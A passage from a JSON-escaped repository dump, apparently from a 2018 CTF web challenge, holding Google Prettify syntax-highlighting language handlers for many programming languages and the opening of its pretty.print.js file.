\\t\\r\\n\\u000c\"]],[[\"str\",/^\"(?:[^\\n\\f\\r\"\\\\]|\\\\(?:\\r\\n?|\\n|\\f)|\\\\[\\S\\s])*\"/,null],[\"str\",/^'(?:[^\\n\\f\\r'\\\\]|\\\\(?:\\r\\n?|\\n|\\f)|\\\\[\\S\\s])*'/,null],[\"lang-css-str\",/^url\\(([^\"')]+)\\)/i],[\"kwd\",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\\w-]|$)/i,null],[\"lang-css-kw\",/^(-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*)\\s*:/i],[\"com\",/^\\/\\*[^*]*\\*+(?:[^*/][^*]*\\*+)*\\//],\n[\"com\",/^(?:<\\!--|--\\>)/],[\"lit\",/^(?:\\d+|\\d*\\.\\d+)(?:%|[a-z]+)?/i],[\"lit\",/^#[\\da-f]{3,6}\\b/i],[\"pln\",/^-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*/i],[\"pun\",/^[^\\s\\w\"']+/]]),[\"css\"]);PR.registerLangHandler(PR.createSimpleLexer([],[[\"kwd\",/^-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*/i]]),[\"css-kw\"]);PR.registerLangHandler(PR.createSimpleLexer([],[[\"str\",/^[^\"')]+/]]),[\"css-str\"]);\n\n// lang-dart.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"]],[[\"com\",/^#!.*/],[\"kwd\",/^\\b(?:import|library|part of|part|as|show|hide)\\b/i],[\"com\",/^\\/\\/.*/],[\"com\",/^\\/\\*[^*]*\\*+(?:[^*/][^*]*\\*+)*\\//],[\"kwd\",/^\\b(?:class|interface)\\b/i],[\"kwd\",/^\\b(?:assert|break|case|catch|continue|default|do|else|finally|for|if|in|is|new|return|super|switch|this|throw|try|while)\\b/i],[\"kwd\",/^\\b(?:abstract|const|extends|factory|final|get|implements|native|operator|set|static|typedef|var)\\b/i],\n[\"typ\",/^\\b(?:bool|double|dynamic|int|num|object|string|void)\\b/i],[\"kwd\",/^\\b(?:false|null|true)\\b/i],[\"str\",/^r?'''[\\S\\s]*?[^\\\\]'''/],[\"str\",/^r?\"\"\"[\\S\\s]*?[^\\\\]\"\"\"/],[\"str\",/^r?'('|[^\\n\\f\\r]*?[^\\\\]')/],[\"str\",/^r?\"(\"|[^\\n\\f\\r]*?[^\\\\]\")/],[\"pln\",/^[$_a-z]\\w*/i],[\"pun\",/^[!%&*+/:<-?^|~-]/],[\"lit\",/^\\b0x[\\da-f]+/i],[\"lit\",/^\\b\\d+(?:\\.\\d*)?(?:e[+-]?\\d+)?/i],[\"lit\",/^\\b\\.\\d+(?:e[+-]?\\d+)?/i],[\"pun\",/^[(),.;[\\]{}]/]]),\n[\"dart\"]);\n\n// lang-erlang.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t-\\r ]+/,null,\"\\t\\n\\u000b\\u000c\\r \"],[\"str\",/^\"(?:[^\\n\\f\\r\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"'],[\"lit\",/^[a-z]\\w*/],[\"lit\",/^'(?:[^\\n\\f\\r'\\\\]|\\\\[^&])+'?/,null,\"'\"],[\"lit\",/^\\?[^\\t\\n ({]+/,null,\"?\"],[\"lit\",/^(?:0o[0-7]+|0x[\\da-f]+|\\d+(?:\\.\\d+)?(?:e[+-]?\\d+)?)/i,null,\"0123456789\"]],[[\"com\",/^%[^\\n]*/],[\"kwd\",/^(?:module|attributes|do|let|in|letrec|apply|call|primop|case|of|end|when|fun|try|catch|receive|after|char|integer|float,atom,string,var)\\b/],\n[\"kwd\",/^-[_a-z]+/],[\"typ\",/^[A-Z_]\\w*/],[\"pun\",/^[,.;]/]]),[\"erlang\",\"erl\"]);\n\n// lang-go.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"pln\",/^(?:\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])+(?:'|$)|`[^`]*(?:`|$))/,null,\"\\\"'\"]],[[\"com\",/^(?:\\/\\/[^\\n\\r]*|\\/\\*[\\S\\s]*?\\*\\/)/],[\"pln\",/^(?:[^\"'/`]|\\/(?![*/]))+/]]),[\"go\"]);\n\n// lang-hs.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t-\\r ]+/,null,\"\\t\\n\\u000b\\u000c\\r \"],[\"str\",/^\"(?:[^\\n\\f\\r\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"'],[\"str\",/^'(?:[^\\n\\f\\r'\\\\]|\\\\[^&])'?/,null,\"'\"],[\"lit\",/^(?:0o[0-7]+|0x[\\da-f]+|\\d+(?:\\.\\d+)?(?:e[+-]?\\d+)?)/i,null,\"0123456789\"]],[[\"com\",/^(?:--+[^\\n\\f\\r]*|{-(?:[^-]|-+[^}-])*-})/],[\"kwd\",/^(?:case|class|data|default|deriving|do|else|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|then|type|where|_)(?=[^\\d'A-Za-z]|$)/,\nnull],[\"pln\",/^(?:[A-Z][\\w']*\\.)*[A-Za-z][\\w']*/],[\"pun\",/^[^\\d\\t-\\r \"'A-Za-z]+/]]),[\"hs\"]);\n\n// lang-lisp.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"opn\",/^\\(+/,a,\"(\"],[\"clo\",/^\\)+/,a,\")\"],[\"com\",/^;[^\\n\\r]*/,a,\";\"],[\"pln\",/^[\\t\\n\\r \\xa0]+/,a,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,a,'\"']],[[\"kwd\",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\\b/,a],\n[\"lit\",/^[+-]?(?:[#0]x[\\da-f]+|\\d+\\/\\d+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:[de][+-]?\\d+)?)/i],[\"lit\",/^'(?:-*(?:\\w|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?)?/],[\"pln\",/^-*(?:[_a-z]|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?/i],[\"pun\",/^[^\\w\\t\\n\\r \"'-);\\\\\\xa0]+/]]),[\"cl\",\"el\",\"lisp\",\"lsp\",\"scm\",\"ss\",\"rkt\"]);\n\n// lang-llvm.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^!?\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"'],[\"com\",/^;[^\\n\\r]*/,null,\";\"]],[[\"pln\",/^[!%@](?:[$\\-.A-Z_a-z][\\w$\\-.]*|\\d+)/],[\"kwd\",/^[^\\W\\d]\\w*/,null],[\"lit\",/^\\d+\\.\\d+/],[\"lit\",/^(?:\\d+|0[Xx][\\dA-Fa-f]+)/],[\"pun\",/^[(-*,:<->[\\]{}]|\\.\\.\\.$/]]),[\"llvm\",\"ll\"]);\n\n// lang-lua.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^(?:\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$))/,null,\"\\\"'\"]],[[\"com\",/^--(?:\\[(=*)\\[[\\S\\s]*?(?:]\\1]|$)|[^\\n\\r]*)/],[\"str\",/^\\[(=*)\\[[\\S\\s]*?(?:]\\1]|$)/],[\"kwd\",/^(?:and|break|do|else|elseif|end|false|for|function|if|in|local|nil|not|or|repeat|return|then|true|until|while)\\b/,null],[\"lit\",/^[+-]?(?:0x[\\da-f]+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:e[+-]?\\d+)?)/i],\n[\"pln\",/^[_a-z]\\w*/i],[\"pun\",/^[^\\w\\t\\n\\r \\xa0][^\\w\\t\\n\\r \"'+=\\xa0-]*/]]),[\"lua\"]);\n\n// lang-ml.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"com\",/^#(?:if[\\t\\n\\r \\xa0]+(?:[$_a-z][\\w']*|``[^\\t\\n\\r`]*(?:``|$))|else|endif|light)/i,null,\"#\"],[\"str\",/^(?:\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])(?:'|$))/,null,\"\\\"'\"]],[[\"com\",/^(?:\\/\\/[^\\n\\r]*|\\(\\*[\\S\\s]*?\\*\\))/],[\"kwd\",/^(?:abstract|and|as|assert|begin|class|default|delegate|do|done|downcast|downto|elif|else|end|exception|extern|false|finally|for|fun|function|if|in|inherit|inline|interface|internal|lazy|let|match|member|module|mutable|namespace|new|null|of|open|or|override|private|public|rec|return|static|struct|then|to|true|try|type|upcast|use|val|void|when|while|with|yield|asr|land|lor|lsl|lsr|lxor|mod|sig|atomic|break|checked|component|const|constraint|constructor|continue|eager|event|external|fixed|functor|global|include|method|mixin|object|parallel|process|protected|pure|sealed|trait|virtual|volatile)\\b/],\n[\"lit\",/^[+-]?(?:0x[\\da-f]+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:e[+-]?\\d+)?)/i],[\"pln\",/^(?:[_a-z][\\w']*[!#?]?|``[^\\t\\n\\r`]*(?:``|$))/i],[\"pun\",/^[^\\w\\t\\n\\r \"'\\xa0]+/]]),[\"fs\",\"ml\"]);\n\n// lang-mumps.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"]|\\\\.)*\"/,null,'\"']],[[\"com\",/^;[^\\n\\r]*/,null,\";\"],[\"dec\",/^\\$(?:d|device|ec|ecode|es|estack|et|etrap|h|horolog|i|io|j|job|k|key|p|principal|q|quit|st|stack|s|storage|sy|system|t|test|tl|tlevel|tr|trestart|x|y|z[a-z]*|a|ascii|c|char|d|data|e|extract|f|find|fn|fnumber|g|get|j|justify|l|length|na|name|o|order|p|piece|ql|qlength|qs|qsubscript|q|query|r|random|re|reverse|s|select|st|stack|t|text|tr|translate|nan)\\b/i,\nnull],[\"kwd\",/^(?:[^$]b|break|c|close|d|do|e|else|f|for|g|goto|h|halt|h|hang|i|if|j|job|k|kill|l|lock|m|merge|n|new|o|open|q|quit|r|read|s|set|tc|tcommit|tre|trestart|tro|trollback|ts|tstart|u|use|v|view|w|write|x|xecute)\\b/i,null],[\"lit\",/^[+-]?(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:e[+-]?\\d+)?/i],[\"pln\",/^[a-z][^\\W_]*/i],[\"pun\",/^[^\\w\\t\\n\\r\"$%;^\\xa0]|_/]]),[\"mumps\"]);\n\n// lang-n.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"str\",/^(?:'(?:[^\\n\\r'\\\\]|\\\\.)*'|\"(?:[^\\n\\r\"\\\\]|\\\\.)*(?:\"|$))/,a,'\"'],[\"com\",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\\b|[^\\n\\r]*)/,a,\"#\"],[\"pln\",/^\\s+/,a,\" \\r\\n\\t\\u00a0\"]],[[\"str\",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,a],[\"str\",/^<#[^#>]*(?:#>|$)/,a],[\"str\",/^<(?:(?:(?:\\.\\.\\/)*|\\/?)(?:[\\w-]+(?:\\/[\\w-]+)+)?[\\w-]+\\.h|[a-z]\\w*)>/,a],[\"com\",/^\\/\\/[^\\n\\r]*/,a],[\"com\",/^\\/\\*[\\S\\s]*?(?:\\*\\/|$)/,\na],[\"kwd\",/^(?:abstract|and|as|base|catch|class|def|delegate|enum|event|extern|false|finally|fun|implements|interface|internal|is|macro|match|matches|module|mutable|namespace|new|null|out|override|params|partial|private|protected|public|ref|sealed|static|struct|syntax|this|throw|true|try|type|typeof|using|variant|virtual|volatile|when|where|with|assert|assert2|async|break|checked|continue|do|else|ensures|for|foreach|if|late|lock|new|nolate|otherwise|regexp|repeat|requires|return|surroundwith|unchecked|unless|using|while|yield)\\b/,\na],[\"typ\",/^(?:array|bool|byte|char|decimal|double|float|int|list|long|object|sbyte|short|string|ulong|uint|ufloat|ulong|ushort|void)\\b/,a],[\"lit\",/^@[$_a-z][\\w$@]*/i,a],[\"typ\",/^@[A-Z]+[a-z][\\w$@]*/,a],[\"pln\",/^'?[$_a-z][\\w$@]*/i,a],[\"lit\",/^(?:0x[\\da-f]+|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)(?:e[+-]?\\d+)?)[a-z]*/i,a,\"0123456789\"],[\"pun\",/^.[^\\s\\w\"-$'./@`]*/,a]]),[\"n\",\"nemerle\"]);\n\n// lang-pascal.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"str\",/^'(?:[^\\n\\r'\\\\]|\\\\.)*(?:'|$)/,a,\"'\"],[\"pln\",/^\\s+/,a,\" \\r\\n\\t\\u00a0\"]],[[\"com\",/^\\(\\*[\\S\\s]*?(?:\\*\\)|$)|^{[\\S\\s]*?(?:}|$)/,a],[\"kwd\",/^(?:absolute|and|array|asm|assembler|begin|case|const|constructor|destructor|div|do|downto|else|end|external|for|forward|function|goto|if|implementation|in|inline|interface|interrupt|label|mod|not|object|of|or|packed|procedure|program|record|repeat|set|shl|shr|then|to|type|unit|until|uses|var|virtual|while|with|xor)\\b/i,a],\n[\"lit\",/^(?:true|false|self|nil)/i,a],[\"pln\",/^[a-z][^\\W_]*/i,a],[\"lit\",/^(?:\\$[\\da-f]+|(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:e[+-]?\\d+)?)/i,a,\"0123456789\"],[\"pun\",/^.[^\\s\\w$'./@]*/,a]]),[\"pascal\"]);\n\n// lang-proto.js\nPR.registerLangHandler(PR.sourceDecorator({keywords:\"bytes,default,double,enum,extend,extensions,false,group,import,max,message,option,optional,package,repeated,required,returns,rpc,service,syntax,to,true\",types:/^(bool|(double|s?fixed|[su]?int)(32|64)|float|string)\\b/,cStyleComments:!0}),[\"proto\"]);\n\n// lang-r.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"'],[\"str\",/^'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$)/,null,\"'\"]],[[\"com\",/^#.*/],[\"kwd\",/^(?:if|else|for|while|repeat|in|next|break|return|switch|function)(?![\\w.])/],[\"lit\",/^0[Xx][\\dA-Fa-f]+([Pp]\\d+)?[Li]?/],[\"lit\",/^[+-]?(\\d+(\\.\\d+)?|\\.\\d+)([Ee][+-]?\\d+)?[Li]?/],[\"lit\",/^(?:NULL|NA(?:_(?:integer|real|complex|character)_)?|Inf|TRUE|FALSE|NaN|\\.\\.(?:\\.|\\d+))(?![\\w.])/],\n[\"pun\",/^(?:<<?-|->>?|-|==|<=|>=|<|>|&&?|!=|\\|\\|?|[!*+/^]|%.*?%|[$=@~]|:{1,3}|[(),;?[\\]{}])/],[\"pln\",/^(?:[A-Za-z]+[\\w.]*|\\.[^\\W\\d][\\w.]*)(?![\\w.])/],[\"str\",/^`.+`/]]),[\"r\",\"s\",\"R\",\"S\",\"Splus\"]);\n\n// lang-rd.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"com\",/^%[^\\n\\r]*/,null,\"%\"]],[[\"lit\",/^\\\\(?:cr|l?dots|R|tab)\\b/],[\"kwd\",/^\\\\[@-Za-z]+/],[\"kwd\",/^#(?:ifn?def|endif)/],[\"pln\",/^\\\\[{}]/],[\"pun\",/^[()[\\]{}]+/]]),[\"Rd\",\"rd\"]);\n\n// lang-scala.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:\"\"(?:\"\"?(?!\")|[^\"\\\\]|\\\\.)*\"{0,3}|(?:[^\\n\\r\"\\\\]|\\\\.)*\"?)/,null,'\"'],[\"lit\",/^`(?:[^\\n\\r\\\\`]|\\\\.)*`?/,null,\"`\"],[\"pun\",/^[!#%&(--:-@[-^{-~]+/,null,\"!#%&()*+,-:;<=>?@[\\\\]^{|}~\"]],[[\"str\",/^'(?:[^\\n\\r'\\\\]|\\\\(?:'|[^\\n\\r']+))'/],[\"lit\",/^'[$A-Z_a-z][\\w$]*(?![\\w$'])/],[\"kwd\",/^(?:abstract|case|catch|class|def|do|else|extends|final|finally|for|forSome|if|implicit|import|lazy|match|new|object|override|package|private|protected|requires|return|sealed|super|throw|trait|try|type|val|var|while|with|yield)\\b/],\n[\"lit\",/^(?:true|false|null|this)\\b/],[\"lit\",/^(?:0(?:[0-7]+|x[\\da-f]+)l?|(?:0|[1-9]\\d*)(?:(?:\\.\\d+)?(?:e[+-]?\\d+)?f?|l?)|\\\\.\\d+(?:e[+-]?\\d+)?f?)/i],[\"typ\",/^[$_]*[A-Z][\\d$A-Z_]*[a-z][\\w$]*/],[\"pln\",/^[$A-Z_a-z][\\w$]*/],[\"com\",/^\\/(?:\\/.*|\\*(?:\\/|\\**[^*/])*(?:\\*+\\/?)?)/],[\"pun\",/^(?:\\.+|\\/)/]]),[\"scala\"]);\n\n// lang-sql.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^(?:\"(?:[^\"\\\\]|\\\\.)*\"|'(?:[^'\\\\]|\\\\.)*')/,null,\"\\\"'\"]],[[\"com\",/^(?:--[^\\n\\r]*|\\/\\*[\\S\\s]*?(?:\\*\\/|$))/],[\"kwd\",/^(?:add|all|alter|and|any|apply|as|asc|authorization|backup|begin|between|break|browse|bulk|by|cascade|case|check|checkpoint|close|clustered|coalesce|collate|column|commit|compute|connect|constraint|contains|containstable|continue|convert|create|cross|current|current_date|current_time|current_timestamp|current_user|cursor|database|dbcc|deallocate|declare|default|delete|deny|desc|disk|distinct|distributed|double|drop|dummy|dump|else|end|errlvl|escape|except|exec|execute|exists|exit|fetch|file|fillfactor|following|for|foreign|freetext|freetexttable|from|full|function|goto|grant|group|having|holdlock|identity|identitycol|identity_insert|if|in|index|inner|insert|intersect|into|is|join|key|kill|left|like|lineno|load|match|matched|merge|natural|national|nocheck|nonclustered|nocycle|not|null|nullif|of|off|offsets|on|open|opendatasource|openquery|openrowset|openxml|option|or|order|outer|over|partition|percent|pivot|plan|preceding|precision|primary|print|proc|procedure|public|raiserror|read|readtext|reconfigure|references|replication|restore|restrict|return|revoke|right|rollback|rowcount|rowguidcol|rows?|rule|save|schema|select|session_user|set|setuser|shutdown|some|start|statistics|system_user|table|textsize|then|to|top|tran|transaction|trigger|truncate|tsequal|unbounded|union|unique|unpivot|update|updatetext|use|user|using|values|varying|view|waitfor|when|where|while|with|within|writetext|xml)(?=[^\\w-]|$)/i,\nnull],[\"lit\",/^[+-]?(?:0x[\\da-f]+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:e[+-]?\\d+)?)/i],[\"pln\",/^[_a-z][\\w-]*/i],[\"pun\",/^[^\\w\\t\\n\\r \"'\\xa0][^\\w\\t\\n\\r \"'+\\xa0-]*/]]),[\"sql\"]);\n\n// lang-tcl.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"opn\",/^{+/,a,\"{\"],[\"clo\",/^}+/,a,\"}\"],[\"com\",/^#[^\\n\\r]*/,a,\"#\"],[\"pln\",/^[\\t\\n\\r \\xa0]+/,a,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,a,'\"']],[[\"kwd\",/^(?:after|append|apply|array|break|case|catch|continue|error|eval|exec|exit|expr|for|foreach|if|incr|info|proc|return|set|switch|trace|uplevel|upvar|while)\\b/,a],[\"lit\",/^[+-]?(?:[#0]x[\\da-f]+|\\d+\\/\\d+|(?:\\.\\d+|\\d+(?:\\.\\d*)?)(?:[de][+-]?\\d+)?)/i],[\"lit\",\n/^'(?:-*(?:\\w|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?)?/],[\"pln\",/^-*(?:[_a-z]|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?/i],[\"pun\",/^[^\\w\\t\\n\\r \"'-);\\\\\\xa0]+/]]),[\"tcl\"]);\n\n// lang-tex.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"com\",/^%[^\\n\\r]*/,null,\"%\"]],[[\"kwd\",/^\\\\[@-Za-z]+/],[\"kwd\",/^\\\\./],[\"typ\",/^[$&]/],[\"lit\",/[+-]?(?:\\.\\d+|\\d+(?:\\.\\d*)?)(cm|em|ex|in|pc|pt|bp|mm)/i],[\"pun\",/^[()=[\\]{}]+/]]),[\"latex\",\"tex\"]);\n\n// lang-vb.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0\\u2028\\u2029]+/,null,\"\\t\\n\\r \\u00a0\\u2028\\u2029\"],[\"str\",/^(?:[\"\\u201c\\u201d](?:[^\"\\u201c\\u201d]|[\"\\u201c\\u201d]{2})(?:[\"\\u201c\\u201d]c|$)|[\"\\u201c\\u201d](?:[^\"\\u201c\\u201d]|[\"\\u201c\\u201d]{2})*(?:[\"\\u201c\\u201d]|$))/i,null,'\"\\u201c\\u201d'],[\"com\",/^['\\u2018\\u2019](?:_(?:\\r\\n?|[^\\r]?)|[^\\n\\r_\\u2028\\u2029])*/,null,\"'\\u2018\\u2019\"]],[[\"kwd\",/^(?:addhandler|addressof|alias|and|andalso|ansi|as|assembly|auto|boolean|byref|byte|byval|call|case|catch|cbool|cbyte|cchar|cdate|cdbl|cdec|char|cint|class|clng|cobj|const|cshort|csng|cstr|ctype|date|decimal|declare|default|delegate|dim|directcast|do|double|each|else|elseif|end|endif|enum|erase|error|event|exit|finally|for|friend|function|get|gettype|gosub|goto|handles|if|implements|imports|in|inherits|integer|interface|is|let|lib|like|long|loop|me|mod|module|mustinherit|mustoverride|mybase|myclass|namespace|new|next|not|notinheritable|notoverridable|object|on|option|optional|or|orelse|overloads|overridable|overrides|paramarray|preserve|private|property|protected|public|raiseevent|readonly|redim|removehandler|resume|return|select|set|shadows|shared|short|single|static|step|stop|string|structure|sub|synclock|then|throw|to|try|typeof|unicode|until|variant|wend|when|while|with|withevents|writeonly|xor|endif|gosub|let|variant|wend)\\b/i,\nnull],[\"com\",/^rem\\b.*/i],[\"lit\",/^(?:true\\b|false\\b|nothing\\b|\\d+(?:e[+-]?\\d+[dfr]?|[dfilrs])?|(?:&h[\\da-f]+|&o[0-7]+)[ils]?|\\d*\\.\\d+(?:e[+-]?\\d+)?[dfr]?|#\\s+(?:\\d+[/-]\\d+[/-]\\d+(?:\\s+\\d+:\\d+(?::\\d+)?(\\s*(?:am|pm))?)?|\\d+:\\d+(?::\\d+)?(\\s*(?:am|pm))?)\\s+#)/i],[\"pln\",/^(?:(?:[a-z]|_\\w)\\w*(?:\\[[!#%&@]+])?|\\[(?:[a-z]|_\\w)\\w*])/i],[\"pun\",/^[^\\w\\t\\n\\r \"'[\\]\\xa0\\u2018\\u2019\\u201c\\u201d\\u2028\\u2029]+/],[\"pun\",/^(?:\\[|])/]]),[\"vb\",\"vbs\"]);\n\n// lang-vhdl.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"]],[[\"str\",/^(?:[box]?\"(?:[^\"]|\"\")*\"|'.')/i],[\"com\",/^--[^\\n\\r]*/],[\"kwd\",/^(?:abs|access|after|alias|all|and|architecture|array|assert|attribute|begin|block|body|buffer|bus|case|component|configuration|constant|disconnect|downto|else|elsif|end|entity|exit|file|for|function|generate|generic|group|guarded|if|impure|in|inertial|inout|is|label|library|linkage|literal|loop|map|mod|nand|new|next|nor|not|null|of|on|open|or|others|out|package|port|postponed|procedure|process|pure|range|record|register|reject|rem|report|return|rol|ror|select|severity|shared|signal|sla|sll|sra|srl|subtype|then|to|transport|type|unaffected|units|until|use|variable|wait|when|while|with|xnor|xor)(?=[^\\w-]|$)/i,\nnull],[\"typ\",/^(?:bit|bit_vector|character|boolean|integer|real|time|string|severity_level|positive|natural|signed|unsigned|line|text|std_u?logic(?:_vector)?)(?=[^\\w-]|$)/i,null],[\"typ\",/^'(?:active|ascending|base|delayed|driving|driving_value|event|high|image|instance_name|last_active|last_event|last_value|left|leftof|length|low|path_name|pos|pred|quiet|range|reverse_range|right|rightof|simple_name|stable|succ|transaction|val|value)(?=[^\\w-]|$)/i,null],[\"lit\",/^\\d+(?:_\\d+)*(?:#[\\w.\\\\]+#(?:[+-]?\\d+(?:_\\d+)*)?|(?:\\.\\d+(?:_\\d+)*)?(?:e[+-]?\\d+(?:_\\d+)*)?)/i],\n[\"pln\",/^(?:[a-z]\\w*|\\\\[^\\\\]*\\\\)/i],[\"pun\",/^[^\\w\\t\\n\\r \"'\\xa0][^\\w\\t\\n\\r \"'\\xa0-]*/]]),[\"vhdl\",\"vhd\"]);\n\n// lang-wiki.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\d\\t a-gi-z\\xa0]+/,null,\"\\t \\u00a0abcdefgijklmnopqrstuvwxyz0123456789\"],[\"pun\",/^[*=[\\]^~]+/,null,\"=*~^[]\"]],[[\"lang-wiki.meta\",/(?:^^|\\r\\n?|\\n)(#[a-z]+)\\b/],[\"lit\",/^[A-Z][a-z][\\da-z]+[A-Z][a-z][^\\W_]+\\b/],[\"lang-\",/^{{{([\\S\\s]+?)}}}/],[\"lang-\",/^`([^\\n\\r`]+)`/],[\"str\",/^https?:\\/\\/[^\\s#/?]*(?:\\/[^\\s#?]*)?(?:\\?[^\\s#]*)?(?:#\\S*)?/i],[\"pln\",/^(?:\\r\\n|[\\S\\s])[^\\n\\r#*=A-[^`h{~]*/]]),[\"wiki\"]);\nPR.registerLangHandler(PR.createSimpleLexer([[\"kwd\",/^#[a-z]+/i,null,\"#\"]],[]),[\"wiki.meta\"]);\n\n// lang-yaml.js\nvar a=null;\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"pun\",/^[:>?|]+/,a,\":|>?\"],[\"dec\",/^%(?:YAML|TAG)[^\\n\\r#]+/,a,\"%\"],[\"typ\",/^&\\S+/,a,\"&\"],[\"typ\",/^!\\S*/,a,\"!\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\.)*(?:\"|$)/,a,'\"'],[\"str\",/^'(?:[^']|'')*(?:'|$)/,a,\"'\"],[\"com\",/^#[^\\n\\r]*/,a,\"#\"],[\"pln\",/^\\s+/,a,\" \\t\\r\\n\"]],[[\"dec\",/^(?:---|\\.\\.\\.)(?:[\\n\\r]|$)/],[\"pun\",/^-/],[\"kwd\",/^\\w+:[\\n\\r ]/],[\"pln\",/^\\w+/]]),[\"yaml\",\"yml\"]);\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/javascript/pretty.print.js",
    "content": "!function(){var q=null;window.PR_SHOULD_USE_CONTINUATION=!0;\n\t(function(){function S(a){function d(e){var b=e.charCodeAt(0);if(b!==92)return b;var a=e.charAt(1);return(b=r[a])?b:\"0\"<=a&&a<=\"7\"?parseInt(e.substring(1),8):a===\"u\"||a===\"x\"?parseInt(e.substring(2),16):e.charCodeAt(1)}function g(e){if(e<32)return(e<16?\"\\\\x0\":\"\\\\x\")+e.toString(16);e=String.fromCharCode(e);return e===\"\\\\\"||e===\"-\"||e===\"]\"||e===\"^\"?\"\\\\\"+e:e}function b(e){var b=e.substring(1,e.length-1).match(/\\\\u[\\dA-Fa-f]{4}|\\\\x[\\dA-Fa-f]{2}|\\\\[0-3][0-7]{0,2}|\\\\[0-7]{1,2}|\\\\[\\S\\s]|[^\\\\]/g),e=[],a=\n\t\tb[0]===\"^\",c=[\"[\"];a&&c.push(\"^\");for(var a=a?1:0,f=b.length;a<f;++a){var h=b[a];if(/\\\\[bdsw]/i.test(h))c.push(h);else{var h=d(h),l;a+2<f&&\"-\"===b[a+1]?(l=d(b[a+2]),a+=2):l=h;e.push([h,l]);l<65||h>122||(l<65||h>90||e.push([Math.max(65,h)|32,Math.min(l,90)|32]),l<97||h>122||e.push([Math.max(97,h)&-33,Math.min(l,122)&-33]))}}e.sort(function(e,a){return 